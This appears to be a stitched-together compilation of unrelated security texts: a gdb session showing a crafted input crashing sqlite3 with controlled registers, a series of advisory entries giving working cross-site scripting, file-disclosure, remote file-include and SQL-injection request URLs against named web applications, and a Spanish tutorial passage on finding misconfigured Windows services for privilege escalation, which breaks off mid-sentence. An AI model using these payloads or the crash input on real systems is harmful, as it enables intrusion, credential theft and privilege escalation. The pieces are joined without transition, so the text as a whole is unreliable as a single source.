andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ ./lt-sqlite3 -version
3.8.8.3 2015-02-25 13:29:11 9d6c1880fb75660bbabd693175579529785f8a6b
andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ gdb64 ./lt-sqlite3
GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./lt-sqlite3...done.
(gdb) set disassembly-flavor intel
(gdb) set args < /home/andrew/issues/sqlite/sqlitepoc.txt
(gdb) r
Starting program: /home/andrew/tmp/build/sqlite-autoconf-3080803/.libs/lt-sqlite3 < /home/andrew/issues/sqlite/sqlitepoc.txt
warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Usage: .trace FILE|off
Error: near line 4: near "whatever": syntax error
Usage: .trace FILE|off

Program received signal SIGSEGV, Segmentation fault.
sqlite3LoadExtension (pzErrMsg=0x7fffffffb510, zProc=0x0, zFile=0x6261c3 "CCCCBBBBAAAA", db=0x6261c8) at sqlite3.c:36169
36169	      }
(gdb) i r
rax            0x138	312
rbx            0x41414141424242	18367622009733698
rcx            0x7fffffffb510	140737488336144
rdx            0x0	0
rsi            0x6261c3	6447555
rdi            0x41414141424242	18367622009733698
rbp            0x6261c3	0x6261c3
rsp            0x7fffffffb440	0x7fffffffb440
r8             0x6261c1	6447553
r9             0x6c	108
r10            0x7fffffffb270	140737488335472
r11            0x7ffff7b5ae50	140737349267024
r12            0x6261c8	6447560
r13            0x7fffffffb510	140737488336144
r14            0x6261c0	6447552
r15            0x2	2
rip            0x7ffff7b5b130	0x7ffff7b5b130 <sqlite3_load_extension+736>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) disas $rip,+10
Dump of assembler code from 0x7ffff7b5b130 to 0x7ffff7b5b13a:
=> 0x00007ffff7b5b130 <sqlite3_load_extension+736>:	call   QWORD PTR [rbx+0x48]
   0x00007ffff7b5b133 <sqlite3_load_extension+739>:	mov    r15,rax
   0x00007ffff7b5b136 <sqlite3_load_extension+742>:	lea    rax,[rip+0x587d8]        # 0x7ffff7bb3915
End of assembler dump.

====

andrew@ubufuzzx6401:~/issues/sqlite$ hexdump -C sqlitepoc.txt
00000000  3b 0a 2e 74 20 78 0a 2e  74 0a 77 68 61 74 65 76  |;..t x..t.whatev|
00000010  65 72 00 0a 3b 0a 2e 74  0a 2e 6f 70 0a 2e 6c 20  |er..;..t..op..l |
00000020  43 43 43 43 42 42 42 42  41 41 41 41 0a           |CCCCBBBBAAAA.|
0000002d
            
source: https://www.securityfocus.com/bid/49880/info

The RedLine theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RedLine theme prior to 1.66 are vulnerable. 

http://www.example.com/?s="%20%3e%3c/link%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e 
            
source: https://www.securityfocus.com/bid/49883/info

A2CMS is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

http://www.example.com/js/index.php?f=../../../../etc/passwd 2011-09-28
            
source: https://www.securityfocus.com/bid/50502/info

Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Serendipity 1.5.5; prior versions may also be affected. 

http://www.example.com/serendipity/serendipity_admin_image_selector.php?serendipity[filter][bp.ALT]=</script><script>alert(document.cookie)</script>&go=+-+Go!+-+
            
source: https://www.securityfocus.com/bid/50455/info

vBulletin is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

vBulletin 4.1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/vB1/api.php?api_script=[RFI]
http://www.example.com/vB1/payment_gateway.php?api[classname]=[RFI]
http://www.example.com/vB1/admincp/cronadmin.php?nextitem[filename]=[RFI]
http://www.example.com/vB1/admincp/diagnostic.php?match[0]=[RFI]
http://www.example.com/vB1/admincp/diagnostic.php?api[classname]=[RFI]
http://www.example.com/vB1/admincp/plugin.php?safeid=[RFI]
http://www.example.com/vB1/includes/class_block.php?file=[RFI]
http://www.example.com/vB1/includes/class_humanverify.php?chosenlib=[RFI]
http://www.example.com/vB1/includes/class_paid_subscription.php?methodinfo[classname]=[RFI]
http://www.example.com/vB1/includes/functions.php?classfile=[RFI]
http://www.example.com/vB1/includes/functions_cron.php?nextitem[filename]=[RFI]
http://www.example.com/vB1/vb/vb.php?filename=[RFI]
http://www.example.com/vB1/install/includes/class_upgrade.php?chosenlib=[RFI]
http://www.example.com/vB1/packages/vbattach/attach.php?package=[RFI]
http://www.example.com/vB1/packages/vbattach/attach.php?path=[RFI] 
            
source: https://www.securityfocus.com/bid/50456/info

Hyperic HQ Enterprise is prone to a cross-site scripting vulnerability and multiple unspecified security vulnerabilities.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and steal cookie-based authentication credentials. The impact of other issues is unknown.

These issues affect Hyperic HQ Enterprise 4.5.1; other versions may also be affected. 

Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers or local & low privileged user accounts.
For demonstration or reproduce ...

1.1
Code Review: HQ Roles  [IVE - Persistent]

<td width="30%" class="BlockContent">
<!-- END VIEW MODE --> 
</td></tr><tr valign="top">
<td width="20%" class="BlockLabel">Dashboard Name:</td>
<td width="30%" class="BlockContent">
<span id="dashboardString">New Role Dashboard</span></td>
<td width="20%" class="BlockLabel"></td>
<td width="30%" class="BlockContent"></td></tr></table>
<!--  /  -->


Code Review: java.security.krb5.kdc   Module: HQ Health / HQ Process Information & Diagnostics  [IVE - Persistent]

- java.rmi.server.codebase = http://h1461735:9093/ 
- java.rmi.server.hostname = h1461735 
- java.runtime.name = Java(TM) SE Runtime Environment 
- java.runtime.version = 1.6.0_13-b03 
- java.security.krb5.kdc = >"<INCLUDE/EXECUTE PERSISTENT SCRIPT CODE HERE!!!> 
- java.security.krb5.realm = >"<INCLUDE/EXECUTE PERSISTENT SCRIPT CODE HERE!!!> 
- java.specification.name = Java Platform API Specification 
- java.specification.vendor = Sun Microsystems Inc. 
- java.specification.version = 1.6 
- java.vendor = Sun Microsystems Inc. 

.../PoC/printReport(poc).hqu



Code Review: Browse - Monitor - Indikators  [IVE - Persistent]


hyperic.data.escalation.pauseSelect.options[12] = new Option("72 hours", "259200000");
hyperic.data.escalation.pauseSelect.options[13] = new Option("Until Fixed", "9223372036854775807");
</script>
<title>
HQ View Application Monitor Current Health - >"<INCLUDE/EXECUTE PERSISTENT SCRIPT CODE HERE!!!>
</title>
<script type="text/javascript">
var onloads = [];
function initOnloads() {
            if (arguments.callee.done) return;

... or

  hyperic.data.escalation.pauseSelect.options[12] = new Option("72 hours", "259200000");
  hyperic.data.escalation.pauseSelect.options[13] = new Option("Until Fixed", "9223372036854775807");
</script>
  <title>
   >"<INCLUDE/EXECUTE PERSISTENT SCRIPT CODE HERE!!!>
  </title>
    <script type="text/javascript">
        var onloads = [];
         function initOnloads() {
        
            if (arguments.callee.done) return;
            arguments.callee.done = true;
           if(typeof(_timer)!="undefined") clearInterval(_timer);
           for ( var i = 0 ; i < onloads.length ; i++ )
             onloads[i]();



Code Review: Applications � All Applications - Topic  [IVE - Persistent]

<li class="hasSubmenu"><a href="">Recently Viewed</a><div><ul>
<li><a href="/Resource.do?eid=4:10001">"<INCLUDE/EXECUTE PERSISTENT SCRIPT CODE HERE!!!>;
</a></li></ul></div></li></ul></div></li><li id="analyzeTab"><a href="#">Analyze</a><div><ul>



Code Review: General Properties - Inventory over Exception-Handling [IVE - Persistent]

<div id="exception27" style="visibility:hidden">javax.servlet.jsp.JspTagException: javax.servlet.jsp.JspException: 
An error occurred while evaluating custom action attribute "sort" with value "${param.scs}": An exception occured trying to convert 
String ">"<INCLUDE/EXECUTE PERSISTENT SCRIPT CODE HERE!!!>" to type "java.lang.Integer"
  at org.hyperic.hq.ui.taglib.display.TableTag.evalAttr(TableTag.java:1456)
  at org.hyperic.hq.ui.taglib.display.TableTag.evalAttr(TableTag.java:1438)
  at org.hyperic.hq.ui.taglib.display.TableTag.evaluateAttributes(TableTag.java:1517)
  at org.hyperic.hq.ui.taglib.display.TableTag.doStartTag(TableTag.java:226)
  at org.apache.jsp.resource.application.inventory.ListServices_jsp._jspx_meth_display_005ftable_005f0(Unknown Source)
  at org.apache.jsp.resource.application.inventory.ListServices_jsp._jspx_meth_html_005fform_005f0(Unknown Source)
  at org.apache.jsp.resource.application.inventory.ListServices_jsp._jspService(Unknown Source)
  at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:654)
  at org.apache.catalina.core.ApplicationDispatcher.doInclude(ApplicationDispatcher.java:557)
  at org.apache.catalina.core.ApplicationDispatcher.include(ApplicationDispatcher.java:481)
  at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:968)
  at org.apache.jasper.runtime.PageContextImpl.include(PageContextImpl.java:609)
  at org.apache.struts.tiles.TilesUtilImpl.doInclude(TilesUtilImpl.java:99)
  at org.apache.struts.tiles.TilesUtil.doInclude(TilesUtil.java:135)
  at org.apache.struts.taglib.tiles.InsertTag.doInclude(InsertTag.java:760)
  at org.apache.struts.taglib.tiles.InsertTag$InsertHandler.doEndTag(InsertTag.java:892)
  at org.apache.struts.taglib.tiles.InsertTag.doEndTag(InsertTag.java:462)
  at org.apache.jsp.resource.application.inventory.ViewApplication_jsp._jspx_meth_tiles_005finsert_005f8(Unknown Source)
  at org.apache.jsp.resource.application.inventory.ViewApplication_jsp._jspService(Unknown Source)
  at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:654)
  at org.apache.catalina.core.ApplicationDispatcher.doInclude(ApplicationDispatcher.java:557)
  at org.apache.catalina.core.ApplicationDispatcher.include(ApplicationDispatcher.java:481)
  at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:968)
  at org.apache.jasper.runtime.PageContextImpl.include(PageContextImpl.java:609)
  at org.apache.struts.tiles.TilesUtilImpl.doInclude(TilesUtilImpl.java:99)
  at org.apache.struts.tiles.TilesUtil.doInclude(TilesUtil.java:135)
  at org.apache.struts.taglib.tiles.InsertTag.doInclude(InsertTag.java:760)
  at org.apache.struts.taglib.tiles.InsertTag$InsertHandler.doEndTag(InsertTag.java:892)
  at org.apache.struts.taglib.tiles.InsertTag.doEndTag(InsertTag.java:462)
  at org.apache.jsp.portal.ColumnsLayout_jsp._jspx_meth_tiles_005finsert_005f0(Unknown Source)
  at org.apache.jsp.portal.ColumnsLayout_jsp._jspx_meth_c_005fforEach_005f1(Unknown Source)
  at org.apache.jsp.portal.ColumnsLayout_jsp._jspx_meth_c_005fforEach_005f0(Unknown Source)
  at org.apache.jsp.portal.ColumnsLayout_jsp._jspService(Unknown Source)
  at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:654)
  at org.apache.catalina.core.ApplicationDispatcher.doInclude(ApplicationDispatcher.java:557)
  at org.apache.catalina.core.ApplicationDispatcher.include(ApplicationDispatcher.java:481)
  at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:968)
  at org.apache.jasper.runtime.PageContextImpl.include(PageContextImpl.java:609)
  at org.apache.struts.tiles.TilesUtilImpl.doInclude(TilesUtilImpl.java:99)
  at org.apache.struts.tiles.TilesUtil.doInclude(TilesUtil.java:135)
  at org.apache.struts.taglib.tiles.InsertTag.doInclude(InsertTag.java:760)
  at org.apache.struts.taglib.tiles.InsertTag$InsertHandler.doEndTag(InsertTag.java:892)
  at org.apache.struts.taglib.tiles.InsertTag.doEndTag(InsertTag.java:462)
  at org.apache.jsp.portal.MainLayout_jsp._jspx_meth_tiles_005finsert_005f2(Unknown Source)
  at org.apache.jsp.portal.MainLayout_jsp._jspService(Unknown Source)
  at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:654)
  at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:445)
  at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:379)
  at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:292)
  at org.apache.struts.action.RequestProcessor.doForward(RequestProcessor.java:1085)
  at org.apache.struts.tiles.TilesRequestProcessor.doForward(TilesRequestProcessor.java:263)
  at org.apache.struts.tiles.TilesRequestProcessor.processTilesDefinition(TilesRequestProcessor.java:239)
  at org.apache.struts.tiles.TilesRequestProcessor.internalModuleRelativeForward(TilesRequestProcessor.java:341)
  at org.apache.struts.action.RequestProcessor.processForward(RequestProcessor.java:572)
  at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:221)
  at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1196)
  at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:414)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:690)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.hyperic.hq.ui.AuthenticationFilter.doFilter(AuthenticationFilter.java:167)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.hyperic.hibernate.filter.SessionFilter$1.run(SessionFilter.java:59)
  at org.hyperic.hq.hibernate.SessionManager.runInSessionInternal(SessionManager.java:79)
  at org.hyperic.hq.hibernate.SessionManager.runInSession(SessionManager.java:68)
  at org.hyperic.hibernate.filter.SessionFilter.doFilter(SessionFilter.java:57)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.tuckey.web.filters.urlrewrite.RuleChain.handleRewrite(RuleChain.java:164)
  at org.tuckey.web.filters.urlrewrite.RuleChain.doRules(RuleChain.java:141)
  at org.tuckey.web.filters.urlrewrite.UrlRewriter.processRequest(UrlRewriter.java:90)
  at org.tuckey.web.filters.urlrewrite.UrlRewriteFilter.doFilter(UrlRewriteFilter.java:417)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.hyperic.hq.product.servlet.filter.JMXFilter.doFilter(JMXFilter.java:322)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230)
  at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
  at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:182)
  at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:84)
  at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
  at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)
  at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:157)
  at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
  at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:262)
  at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844)
  at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583)
  at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:446)
  at java.lang.Thread.run(Unknown Source) </div>


1.2
References:
http://www.example.com/admin/role/RoleAdmin.do?mode=new
http://www.example.com/hqu/health/health/printReport.hqu
http://www.example.com/Resource.do?eid=4:10001
http://www.example.com/ResourceHub.do
http://www.example.com/resource/application/Inventory.do?mode=view&accord=3&eid=4:10001&sos=dec&scs=




Code Review: Escalation Schemes Configuration [XSS]

http://www.example.com/admin/config/Config.do?mode=escalate&escId=[INCLUDE CLIENT_SIDE SCRIPTCODE HERE!!!]

References:
http://www.example.com/admin/config/Config.do?mode=escalate&escId=
            
source: https://www.securityfocus.com/bid/50468/info

IBSng is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/IBSng/util/show_multistr.php?str=[xss] 
            
source: https://www.securityfocus.com/bid/50469/info

eFront is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eFront 3.6.10 build 11944 is vulnerable; other versions may also be affected. 

http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard

http://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard

http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22

http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9))
            
source: https://www.securityfocus.com/bid/50470/info

Symphony is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony versions prior to 2.2.4 are vulnerable. 

http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
            
source: https://www.securityfocus.com/bid/50470/info

Symphony is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony versions prior to 2.2.4 are vulnerable. 

http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
            
source: https://www.securityfocus.com/bid/50492/info

eFront is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the software fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eFront 3.6.10 build 11944 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/index.php?message=1&message_type=%22%20onmouseover=alert%28document.cookie%29%3E

http://www.example.com/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

http://www.example.com/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

Successful following exploit requires attacker to be registered and logged-in:

http://www.example.com/view_test.php?done_test_id=1%20union%20select%201,2,%28select%20version%28%29%29,4,5,6,7,8,9,10, 11,12%20--%20

Successful following exploits require that "magic_quotes_gpc" is off:

http://www.example.com/view_test.php?test_id=1&user=%27SQL_CODE_HERE

http://www.example.com/view_test.php?content_id=2&user=%27SQL_CODE_HERE

http://www.example.com/modules/module_chat/admin.php?force=getLessonFromId&loglessonid=-1%27%20union%20select%20ver sion%28%29%20--%202

http://www.example.com/ask_information.php?common_lessons=1&user1=professor&user2=%27%20union%20select%201,vers ion%28%29%20--%20
            
source: https://www.securityfocus.com/bid/50527/info

The Bonus theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Bonus 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/?s="><script>alert("3spi0n")</script>
            
source: https://www.securityfocus.com/bid/50552/info

SmartJobBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E 
            

Los servicios en Windows (anteriormente conocidos como servicios NT), permiten crear acciones/programas de larga ejecución que se ejecutan en sesiones propias de Windows. Los servicios pueden iniciarse automáticamente al encender el equipo, pueden detenerse o iniciarse manualmente, y, en cualquier caso, no muestran una interfaz gráfica, todo se hace en segundo plano.

Los servicios se pueden ejecutar en el contexto de otro usuario distinto al o los que hayan iniciado sesión en el equipo.

Con esta última frase, pensándolo desde la perspectiva de un atacante ya nos puede llamar la atención esta característica de Windows de cara a una posible escalada de privilegios. Si un servicio está mal configurado y lo ejecuta por ejemplo el usuario «nt authority\system», quizás podemos aprovecharnos para inyectar acciones suplantando a este usuario (o el usuario que lo ejecute).

Índice:

  • Tipos de Escaladas de Privilegios
  • Enumeración usando accesschk.exe
  • Como reiniciar servicios
  • Referencias

Tipos de Escaladas de Privilegios

Existen diversas escaladas de privilegios conocidas que están relacionadas con los servicios de Windows:

  • Insecure Service Permissions
  • Unquoted Service Path
  • Weak Registry Permissions
  • Insecure Service Executables
  • DLL Hijacking

Todas estas posibles escaladas están basadas en malas configuraciones que se pueden encontrar en el equipo Windows. Ahora bien, ninguna de estas escaladas servirá aunque exista esa mala configuración, si no tenemos la capacidad de:

  • Iniciar, detener o reiniciar el servicio
  • Reiniciar el equipo Windows (suponiendo que el servicio vulnerable se inicie al iniciar el equipo)

Por lo que no hay que caer en la trampa de que si encontramos cualquiera de estas posibles malas configuraciones, podremos aprovecharlas. Todo dependerá de si somos capaces de realizar cualquiera de las dos últimas acciones mencionadas.

Ahora vamos a ver como podemos enumerar los permisos, configuraciones de un servicio, archivo y directorio.

Enumeración usando accesschk.exe

Accesschk es una herramienta de línea de comandos que pertenece al kit de tools de Windows Sysinternals, por lo que es del propio Microsoft. Te permite ver qué tipo de accesos tienen usuarios o grupos específicos a recursos como archivos, directorios, claves del Registro, objetos globales y servicios Windows. Se puede descargar desde la documentación oficial.

La estructura de accesschk es la siguiente:

accesschk.exe [opciones] [usuario o grupo] <nombre de objeto>

Sabiendo esto, vamos a ver algunos comandos concretos que nos pueden ser útiles:

  • Ver permisos que tiene cierto usuario sobre un servicio:

accesschk.exe /accepteula -ucqv <usuario> <servicio>

Explicación de argumentos:

  • /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
  • u –> Indicamos que no enseñe los errores si los hubiese
  • c –> Indicamos que el <nombre de objeto> representa un servicio de Windows.
  • q –> Quitamos el banner de la herramienta del output
  • v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
image 44

En este ejemplo podemos ver como el usuario «user», tiene la capacidad en el servicio «daclsvc» de:

  • Editar la configuración del servicio
  • Iniciar el servicio
  • Detener el servicio

De esta forma, identificaríamos permisos los cuales nos pueden venir bien saber para determinar alguna posible explotación.

  • Ver permisos de escritura en un directorio:

accesschk.exe /accepteula -uwdq <directorio>

Explicación de argumentos:

  • /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
  • u –> Indicamos que no enseñe los errores si los hubiese
  • w –> Enseña solo los permisos que contengan escritura.
  • d –> Indicamos que el objeto es una carpeta. Y que nos interesa los permisos de este objeto y no los de su contenido.
  • q –> Quitamos el banner de la herramienta del output
image 45

De esta manera, podemos ver como todos los usuarios («BUILTIN\Users») tienen capacidad de escritura sobre el directorio especificado, lo que nos podría servir para aprovecharnos de alguna mala configuración.

  • Comprobar los permisos de un registro:

accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Explicación de argumentos:

  • /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
  • u –> Indicamos que no enseñe los errores si los hubiese.
  • v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
  • w –> Enseña solo los permisos que contengan escritura.
  • q –> Quitamos el banner de la herramienta del output.
  • k –> Indicamos que el <nombre de objeto> representa un registro
image 49

En este caso, gracias a accesschk podemos saber que el grupo «INTERACTIVE» tiene permisos de escritura en el registro. En este grupo se encuentran todos los usuarios que alguna vez se han logueado en la máquina de forma local, por lo que es muy probable que cualquier usuario pertenezca a este grupo.

Sabiendo esto, en este caso hemos podido comprobar que tenemos capacidad de escritura sobre este registro, lo que nos podría ser de utilidad.

OJOO, como curiosidad, todos los servicios en Windows, se encuentran en la ruta:

HKLM\System\CurrentControlSet\Services\<nombre del servicio>

  • Ver si tenemos permisos de escritura sobre un ejecutable:

accesschk.exe /accepteula -quvw <ejecutable>

Explicación de argumentos:

  • /accepteula –> cuando ejecutamos una herramienta de Windows Sysinternals, la primera vez que lo hacemos suele salir una ventana gráfica de aceptar términos y demás. Para no tener problemas desde nuestra shell, añadiendo directamente este argumento aceptamos los términos desde la propia consola.
  • q –> Quitamos el banner de la herramienta del output.
  • u –> Indicamos que no enseñe los errores si los hubiese.
  • v –> Típico verbose de cualquier herramienta (mostrar información más detallada)
  • w –> Enseña solo los permisos que contengan escritura.
image 46

De esta forma, podemos ver como todos los usuarios tienen capacidad de escritura sobre el archivo especificado. Lo que nos puede ser muy útil para sustituirlo y aprovecharnos de alguna manera.

Accesschk.exe es una herramienta muy útil para enumerar información que nos puede ser muy útil saber para los diferentes tipos de escaladas relacionadas con servicios de Windows. En cualquier caso, se verá mejor su uso práctico en cada post de las diferentes escaladas.

Como reiniciar servicios

Como se ha mencionado previamente, en todas las escaladas relacionadas con los servicios de Windows, un requisito infalible es la capacidad de iniciar, detener o reiniciar un servicio (sin contar el reiniciar directamente el equipo para un servicio que inicie al arrancar). Una vez ya sabemos que tenemos los privilegios para hacerlo, existen distintas formas para llevarlo a cabo:

  • net

Podemos iniciar un servicio mediante:

net start <nombre del servicio>

De la misma forma, podemos pararlo con:

net stop <nombre del servicio>

También podemos usar net para listar todos los servicios que se estén ejecutando:

net start

  • sc

Sc (Service Controller) es un programa de línea de comandos usado para la comunicación con el «Windows Service Controller and installed services».

Podemos iniciar un servicio con:

